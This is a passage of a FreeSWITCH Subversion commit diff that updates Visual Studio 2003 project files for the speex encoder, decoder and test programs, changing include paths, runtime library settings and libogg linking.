+				AdditionalLibraryDirectories="..\..\..\..\libogg\lib"
 				GenerateDebugInformation="TRUE"
 				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
 				SubSystem="1"
@@ -76,11 +77,11 @@
 				EnableIntrinsicFunctions="TRUE"
 				FavorSizeOrSpeed="1"
 				OptimizeForProcessor="2"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\.."
 				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
 				StringPooling="TRUE"
 				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
+				RuntimeLibrary="2"
 				BufferSecurityCheck="FALSE"
 				UsePrecompiledHeader="0"
 				WarningLevel="3"
@@ -91,9 +92,10 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexdec.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="../../../bin/speexdec.exe"
 				LinkIncremental="1"
+				AdditionalLibraryDirectories="..\..\..\..\libogg\lib"
 				GenerateDebugInformation="TRUE"
 				SubSystem="1"
 				OptimizeReferences="2"
@@ -136,11 +138,11 @@
 				EnableIntrinsicFunctions="TRUE"
 				FavorSizeOrSpeed="1"
 				OptimizeForProcessor="2"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\.."
 				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
 				StringPooling="TRUE"
 				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
+				RuntimeLibrary="2"
 				BufferSecurityCheck="FALSE"
 				EnableEnhancedInstructionSet="1"
 				UsePrecompiledHeader="0"
@@ -152,9 +154,10 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexdec.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="../../../bin/speexdec.exe"
 				LinkIncremental="1"
+				AdditionalLibraryDirectories="..\..\..\..\libogg\lib"
 				GenerateDebugInformation="TRUE"
 				SubSystem="1"
 				OptimizeReferences="2"
@@ -182,67 +185,6 @@
 			<Tool
 				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
 		</Configuration>
-		<Configuration
-			Name="Release_SSE2|Win32"
-			OutputDirectory="$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="2"
-			WholeProgramOptimization="TRUE">
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="3"
-				GlobalOptimizations="TRUE"
-				InlineFunctionExpansion="2"
-				EnableIntrinsicFunctions="TRUE"
-				FavorSizeOrSpeed="1"
-				OptimizeForProcessor="3"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
-				StringPooling="TRUE"
-				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
-				BufferSecurityCheck="FALSE"
-				EnableEnhancedInstructionSet="2"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				Detect64BitPortabilityProblems="TRUE"
-				DebugInformationFormat="3"
-				CompileAs="1"/>
-			<Tool
-				Name="VCCustomBuildTool"/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexdec.exe"
-				LinkIncremental="1"
-				GenerateDebugInformation="TRUE"
-				SubSystem="1"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				OptimizeForWindows98="1"
-				TargetMachine="1"/>
-			<Tool
-				Name="VCMIDLTool"/>
-			<Tool
-				Name="VCPostBuildEventTool"/>
-			<Tool
-				Name="VCPreBuildEventTool"/>
-			<Tool
-				Name="VCPreLinkEventTool"/>
-			<Tool
-				Name="VCResourceCompilerTool"/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"/>
-			<Tool
-				Name="VCWebDeploymentTool"/>
-			<Tool
-				Name="VCManagedWrapperGeneratorTool"/>
-			<Tool
-				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
-		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/speex/win32/VS2003/speexenc/speexenc.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/speexenc/speexenc.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/speexenc/speexenc.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,11 +19,11 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\.."
 				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
 				MinimalRebuild="TRUE"
 				BasicRuntimeChecks="3"
-				RuntimeLibrary="1"
+				RuntimeLibrary="3"
 				UsePrecompiledHeader="0"
 				WarningLevel="3"
 				Detect64BitPortabilityProblems="TRUE"
@@ -33,9 +33,10 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexenc.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="../../../bin/speexenc.exe"
 				LinkIncremental="2"
+				AdditionalLibraryDirectories="..\..\..\..\libogg\lib"
 				GenerateDebugInformation="TRUE"
 				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
 				SubSystem="1"
@@ -76,11 +77,11 @@
 				EnableIntrinsicFunctions="TRUE"
 				FavorSizeOrSpeed="1"
 				OptimizeForProcessor="2"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H: USE_ALLOCA"
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
 				StringPooling="TRUE"
 				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
+				RuntimeLibrary="2"
 				BufferSecurityCheck="FALSE"
 				UsePrecompiledHeader="0"
 				WarningLevel="3"
@@ -91,9 +92,10 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexenc.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="../../../bin/speexenc.exe"
 				LinkIncremental="1"
+				AdditionalLibraryDirectories="..\..\..\..\libogg\lib"
 				GenerateDebugInformation="TRUE"
 				SubSystem="1"
 				OptimizeReferences="2"
@@ -136,11 +138,11 @@
 				EnableIntrinsicFunctions="TRUE"
 				FavorSizeOrSpeed="1"
 				OptimizeForProcessor="2"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\.."
 				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
 				StringPooling="TRUE"
 				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
+				RuntimeLibrary="2"
 				BufferSecurityCheck="FALSE"
 				EnableEnhancedInstructionSet="1"
 				UsePrecompiledHeader="0"
@@ -152,9 +154,10 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexenc.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="../../../bin/speexenc.exe"
 				LinkIncremental="1"
+				AdditionalLibraryDirectories="..\..\..\..\libogg\lib"
 				GenerateDebugInformation="TRUE"
 				SubSystem="1"
 				OptimizeReferences="2"
@@ -182,67 +185,6 @@
 			<Tool
 				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
 		</Configuration>
-		<Configuration
-			Name="Release_SSE2|Win32"
-			OutputDirectory="$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="2"
-			WholeProgramOptimization="TRUE">
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="3"
-				GlobalOptimizations="TRUE"
-				InlineFunctionExpansion="2"
-				EnableIntrinsicFunctions="TRUE"
-				FavorSizeOrSpeed="1"
-				OptimizeForProcessor="3"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
-				StringPooling="TRUE"
-				ExceptionHandling="FALSE"
-				RuntimeLibrary="0"
-				BufferSecurityCheck="FALSE"
-				EnableEnhancedInstructionSet="2"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				Detect64BitPortabilityProblems="TRUE"
-				DebugInformationFormat="3"
-				CompileAs="1"/>
-			<Tool
-				Name="VCCustomBuildTool"/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexenc.exe"
-				LinkIncremental="1"
-				GenerateDebugInformation="TRUE"
-				SubSystem="1"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				OptimizeForWindows98="1"
-				TargetMachine="1"/>
-			<Tool
-				Name="VCMIDLTool"/>
-			<Tool
-				Name="VCPostBuildEventTool"/>
-			<Tool
-				Name="VCPreBuildEventTool"/>
-			<Tool
-				Name="VCPreLinkEventTool"/>
-			<Tool
-				Name="VCResourceCompilerTool"/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"/>
-			<Tool
-				Name="VCWebDeploymentTool"/>
-			<Tool
-				Name="VCManagedWrapperGeneratorTool"/>
-			<Tool
-				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
-		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -258,6 +200,9 @@
 				RelativePath="..\..\..\src\getopt1.c">
 			</File>
 			<File
+				RelativePath="..\..\..\src\skeleton.c">
+			</File>
+			<File
 				RelativePath="..\..\..\src\speexenc.c">
 			</File>
 			<File
@@ -275,6 +220,9 @@
 				RelativePath="..\..\..\src\getopt_win.h">
 			</File>
 			<File
+				RelativePath="..\..\..\src\skeleton.h">
+			</File>
+			<File
 				RelativePath="..\..\..\src\wav_io.h">
 			</File>
 			<File

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/tests (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/tests)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2003/tests


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/tests/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/tests/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/tests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = testdenoise.vcproj testecho.vcproj testenc.vcproj testenc_uwb.vcproj \
+             testenc_wb.vcproj testresample.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testdenoise.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testdenoise.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/tests/testdenoise.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testdenoise.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testdenoise.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,213 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="7.10"
+	Name="testdenoise"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}"
+	Keyword="Win32Proj">
+	<Platforms>
+		<Platform
+			Name="Win32"/>
+	</Platforms>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			CharacterSet="2">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="TRUE"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="4"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testdenoise.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
+			<File
+				RelativePath="..\..\..\libspeex\testdenoise.c">
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testecho.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testecho.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/tests/testecho.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testecho.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testecho.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,213 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="7.10"
+	Name="testecho"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}"
+	Keyword="Win32Proj">
+	<Platforms>
+		<Platform
+			Name="Win32"/>
+	</Platforms>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			CharacterSet="2">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="TRUE"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="4"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
+			<File
+				RelativePath="..\..\..\libspeex\testecho.c">
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/tests/testenc.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,213 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="7.10"
+	Name="testenc"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}"
+	Keyword="Win32Proj">
+	<Platforms>
+		<Platform
+			Name="Win32"/>
+	</Platforms>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			CharacterSet="2">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="TRUE"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="4"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
